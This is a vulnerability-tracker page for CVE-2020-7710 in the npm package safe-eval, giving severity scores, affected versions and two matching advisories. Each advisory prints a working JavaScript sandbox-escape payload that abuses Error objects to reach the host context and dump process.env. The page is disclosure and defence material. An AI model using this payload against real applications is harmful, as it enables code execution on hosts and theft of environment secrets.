CVE-2020-7710
published 2020-08-21CVE-2020-7710: This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.
PriorityP353critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EPSS
1.43%
69.7th percentile
This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| safe-eval_project | safe-eval | 0 – 0.4.1 | — |
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
Sandbox Breakout / Arbitrary Code Execution in safe-eval
osv·2020-08-25
CVE-2020-7710 [CRITICAL] Sandbox Breakout / Arbitrary Code Execution in safe-eval
Sandbox Breakout / Arbitrary Code Execution in safe-eval
All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
```js
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
```
prints the contents of `process.env`.
## Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
GHSA
Sandbox Breakout / Arbitrary Code Execution in safe-eval
ghsa·2020-08-25
CVE-2020-7710 [CRITICAL] CWE-94 Sandbox Breakout / Arbitrary Code Execution in safe-eval
Sandbox Breakout / Arbitrary Code Execution in safe-eval
All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
```js
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
```
prints the contents of `process.env`.
## Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
2020-08-21
Published